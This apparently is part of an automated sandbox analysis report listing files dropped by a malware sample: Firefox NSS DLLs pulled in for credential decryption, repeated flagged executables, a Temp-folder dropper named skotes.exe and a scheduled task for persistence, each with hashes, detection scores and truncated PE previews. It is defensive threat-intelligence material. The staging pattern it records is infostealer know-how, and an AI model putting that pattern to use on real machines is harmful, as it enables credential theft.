S06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e096eee1-09d5-42c3-847c-d77f4e4b8441.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44933
Entropy (8bit):	6.095032961026291
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW/si1zNtmkNGE9pc1tf9KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn6NGECKtSmd6qE7lFoC
MD5:	948FFA7D30F5445D5738FBE44E0DDBAE
SHA1:	DF1CA4F05CFE6E9BEF0DDAB359041E5C1ACEB45D
SHA-256:	ED072B68C32E46DC1EC4F74077DAA233B3146B1A535E319003A99549CE9FAE50
SHA-512:	32B0023FCB3FB34B9C2508821D13A4F273FEE7D4FE13DB2DC82EC818778F5BC04858CDF68F287EBBB86EF8D0F994C79CE36D1CF8A5BF0C9DF1141EDEC058F2D0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1895424
Entropy (8bit):	7.949073767048508
Encrypted:	false
SSDEEP:	49152:qA6GemYsyOMWB4iEF5x2pBe4l7WoSMnPfste3H/2t:gKAiEFz4AMnPf0
MD5:	F87F09FFDBAE1413958D36C0355A15BA
SHA1:	54163B68AF1BA0A1C7FEA2C4286E5ED9B0E2E03E
SHA-256:	12A40B643808B90A29EE27F424DEF7D03CE5EBE756C3DA8727A62FF7527306CD
SHA-512:	29F19D8396727D30B0D8389F1BD52A4C89C632D86B8DDDD87AFF48F5CD1DD884E66655C516B1BEAD53AB2DD712C70F83AC3D8D1FEF79CB68D268F9DA8E8E717D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@..........................0K...........@.................................W...k...........................t.J.............................$.J..................................................... . ............................@....rsrc...............................@....idata ............................@... .p*.........................@...wzzqklpt..... 1.....................@...ckrwiwfn......J.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1849856
Entropy (8bit):	7.947847211137937
Encrypted:	false
SSDEEP:	49152:TE2nM4IXa72eYo7En72GMUpmeOBxjxbtNybKQMHS:jMcQnSfSOBxNoMHS
MD5:	91042593292BABA6CE50F767911859E1
SHA1:	796F59E5A82DA5D08924CDF7F58940FCA0A57FCA
SHA-256:	9BDD12B721E1B358CB1931A7261D31BD86F6D31EB059C0AFBE4CB5E8F1D3BE7F
SHA-512:	537DDA73F38F4E8989D9C707EC59892D80DBF19344593A6D31F79A55B672C8644F05387A71E93B17F6BE81A53FA852A784D020F453F65AEC2310EC484F30038D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Lg.............................@I...........@..........................pI.....>.....@.................................\...p................................................................................................................... . ............................@....rsrc...............................@....idata .............0..............@... .P*..........2..............@...nxovzswj.....P/......4..............@...guodefnt.....0I.....................@....taggant.0...@I.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.369943008615195
Encrypted:	false
SSDEEP:	48:SfNaoQaNyTEQa6fNaoQoQMfNaoQbFQb5fNaoQb0UrU0U8Q7:6NnQ1TEQBNnQoQ4NnQbFQbVNnQb0UrUr
MD5:	342B3DADCC549A0161197E9654500449
SHA1:	6414BD9C75E1F4A8E16A1B7604A958CB0300A3F9
SHA-256:	CEAAA5B28DD498F98E28675E97D481CD83D2461FB3AA3E8AEBAB6230E1157748
SHA-512:	91BC9851D58C52F027EDD9EBD8B5B4FA4356B716F07D2088EB597BC1D75C8D9A784CF4CA462DA86FEA6AAB31FF2736A3FD4003A52CDBC2F8628D5584ADD86C05
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D2E3448269D4E2C8AAE40FBA0334B6ED",.. "id": "D2E3448269D4E2C8AAE40FBA0334B6ED",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D2E3448269D4E2C8AAE40FBA0334B6ED"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/0FC2E30D53A8E8C6EEFD407D29DC29CB",.. "id": "0FC2E30D53A8E8C6EEFD407D29DC29CB",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/0FC2E30D53A8E8C6EEFD407D29DC29CB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1720320
Entropy (8bit):	7.955250505273195
Encrypted:	false
SSDEEP:	49152:XI48qcr+Q7yrycYd254qPplZDRbinPl7GsGWYWpH:448qHicMqBj1UhZX
MD5:	1DA94507E31CD2DFACDD88BE707E8D9F
SHA1:	6645D63EAD3C59523310D050BA068B8B5BEB96C4
SHA-256:	95F022C0F9DDC7FFA63D13DBDE4240AACBD9EDF49A627413E60B89BD6AC323D4
SHA-512:	59A721E2C0FF8FACD65C5AD1AC5776209ACCC72F26B898A5BB0173C986DCE6680FDE84A436CA81D54975CE8A8035C6A03C8B890344ECC3A1FF5087BF064D0A2F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........PE..L...<.Jg....................."........g...........@...........................g......2....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..)...$......v..............@...myujmcep.@...PN..2...x..............@...ajcoremj......g.....................@....taggant.0....g.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1963520
Entropy (8bit):	7.930474609126656
Encrypted:	false
SSDEEP:	49152:5cEJV5fo2Frd3uPNvsye8XOdrvjzkw4gXx9BZVlkGqam+:5fjXF5+FrXSv/VhLWa
MD5:	870C92CF89253BAEAF80574AAAD15ADC
SHA1:	FEEFB55FA434CEB4AA10997BEDFCCD5597852078
SHA-256:	65238EEE07B00D608D030A601EBE0878656466084E1F55E9E41258BEC1370B59
SHA-512:	FE1CF7EFA897C4C4FADA01BA67EF38E7491D96870AB32354B0ACBF2BB0CFA32FAF914D05037D6E813FCC9B1241466ACDAA178ADEACC2451EA371F1189E7923C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9.~h}..;}..;}..;c.;a..;c.;i..;c.;%..;Zqk;x..;}..;...;c.;\|..;c.;\|..;c.;\|..;Rich}..;........PE..L....6_f..........................................@........................................................................Z.B.n.....@.....................................................\...................................................... . ..@......T..................@....rsrc.........@..x...d..............@....idata ......B.....................@... ..)...B.....................@...ymqqshfd......k.....................@...ftkrcswf............................@....taggant.0......."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1963520
Entropy (8bit):	7.930474609126656
Encrypted:	false
SSDEEP:	49152:5cEJV5fo2Frd3uPNvsye8XOdrvjzkw4gXx9BZVlkGqam+:5fjXF5+FrXSv/VhLWa
MD5:	870C92CF89253BAEAF80574AAAD15ADC
SHA1:	FEEFB55FA434CEB4AA10997BEDFCCD5597852078
SHA-256:	65238EEE07B00D608D030A601EBE0878656466084E1F55E9E41258BEC1370B59
SHA-512:	FE1CF7EFA897C4C4FADA01BA67EF38E7491D96870AB32354B0ACBF2BB0CFA32FAF914D05037D6E813FCC9B1241466ACDAA178ADEACC2451EA371F1189E7923C6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9.~h}..;}..;}..;c.;a..;c.;i..;c.;%..;Zqk;x..;}..;...;c.;\|..;c.;\|..;c.;\|..;Rich}..;........PE..L....6_f..........................................@........................................................................Z.B.n.....@.....................................................\...................................................... . ..@......T..................@....rsrc.........@..x...d..............@....idata ......B.....................@... ..)...B.....................@...ymqqshfd......k.....................@...ftkrcswf............................@....taggant.0......."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1849856
Entropy (8bit):	7.947847211137937
Encrypted:	false
SSDEEP:	49152:TE2nM4IXa72eYo7En72GMUpmeOBxjxbtNybKQMHS:jMcQnSfSOBxNoMHS
MD5:	91042593292BABA6CE50F767911859E1
SHA1:	796F59E5A82DA5D08924CDF7F58940FCA0A57FCA
SHA-256:	9BDD12B721E1B358CB1931A7261D31BD86F6D31EB059C0AFBE4CB5E8F1D3BE7F
SHA-512:	537DDA73F38F4E8989D9C707EC59892D80DBF19344593A6D31F79A55B672C8644F05387A71E93B17F6BE81A53FA852A784D020F453F65AEC2310EC484F30038D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Lg.............................@I...........@..........................pI.....>.....@.................................\...p................................................................................................................... . ............................@....rsrc...............................@....idata .............0..............@... .P*..........2..............@...nxovzswj.....P/......4..............@...guodefnt.....0I.....................@....taggant.0...@I.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1011214001\74cb638a83.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1720320
Entropy (8bit):	7.955250505273195
Encrypted:	false
SSDEEP:	49152:XI48qcr+Q7yrycYd254qPplZDRbinPl7GsGWYWpH:448qHicMqBj1UhZX
MD5:	1DA94507E31CD2DFACDD88BE707E8D9F
SHA1:	6645D63EAD3C59523310D050BA068B8B5BEB96C4
SHA-256:	95F022C0F9DDC7FFA63D13DBDE4240AACBD9EDF49A627413E60B89BD6AC323D4
SHA-512:	59A721E2C0FF8FACD65C5AD1AC5776209ACCC72F26B898A5BB0173C986DCE6680FDE84A436CA81D54975CE8A8035C6A03C8B890344ECC3A1FF5087BF064D0A2F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........PE..L...<.Jg....................."........g...........@...........................g......2....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..)...$......v..............@...myujmcep.@...PN..2...x..............@...ajcoremj......g.....................@....taggant.0....g.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\AEBKFIJEGC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1895424
Entropy (8bit):	7.949073767048508
Encrypted:	false
SSDEEP:	49152:qA6GemYsyOMWB4iEF5x2pBe4l7WoSMnPfste3H/2t:gKAiEFz4AMnPf0
MD5:	F87F09FFDBAE1413958D36C0355A15BA
SHA1:	54163B68AF1BA0A1C7FEA2C4286E5ED9B0E2E03E
SHA-256:	12A40B643808B90A29EE27F424DEF7D03CE5EBE756C3DA8727A62FF7527306CD
SHA-512:	29F19D8396727D30B0D8389F1BD52A4C89C632D86B8DDDD87AFF48F5CD1DD884E66655C516B1BEAD53AB2DD712C70F83AC3D8D1FEF79CB68D268F9DA8E8E717D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@..........................0K...........@.................................W...k...........................t.J.............................$.J..................................................... . ............................@....rsrc...............................@....idata ............................@... .p*.........................@...wzzqklpt..... 1.....................@...ckrwiwfn......J.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\AEBKFIJEGC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1895424
Entropy (8bit):	7.949073767048508
Encrypted:	false
SSDEEP:	49152:qA6GemYsyOMWB4iEF5x2pBe4l7WoSMnPfste3H/2t:gKAiEFz4AMnPf0
MD5:	F87F09FFDBAE1413958D36C0355A15BA
SHA1:	54163B68AF1BA0A1C7FEA2C4286E5ED9B0E2E03E
SHA-256:	12A40B643808B90A29EE27F424DEF7D03CE5EBE756C3DA8727A62FF7527306CD
SHA-512:	29F19D8396727D30B0D8389F1BD52A4C89C632D86B8DDDD87AFF48F5CD1DD884E66655C516B1BEAD53AB2DD712C70F83AC3D8D1FEF79CB68D268F9DA8E8E717D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@..........................0K...........@.................................W...k...........................t.J.............................$.J..................................................... . ............................@....rsrc...............................@....idata ............................@... .p*.........................@...wzzqklpt..... 1.....................@...ckrwiwfn......J.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\AEBKFIJEGC.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.43011306257214
Encrypted:	false
SSDEEP:	6:YhhupXUhXUEZ+lX1CGdKUe6tE9+AQy0lj1ut0:p4Q1CGAFD9+nVJut0
MD5:	6FF06E0EAFE20BE378DE37DF8F2315AA
SHA1:	6E53DC395F3E0F57D49D5AFDC914EA985CC21376
SHA-256:	56574229704846026E5073FE93FE59EDC460AA1CC9AF59F02D19BC3161E9D89A
SHA-512:	728C5275D7767F3CC51882034E830372504ADC20C77C52E55B546DEF1AC80715FD02BCDA311E8105FD1BB94C23A120447D34442095D540C4D1D3E793979F9B2A
Malicious:	false
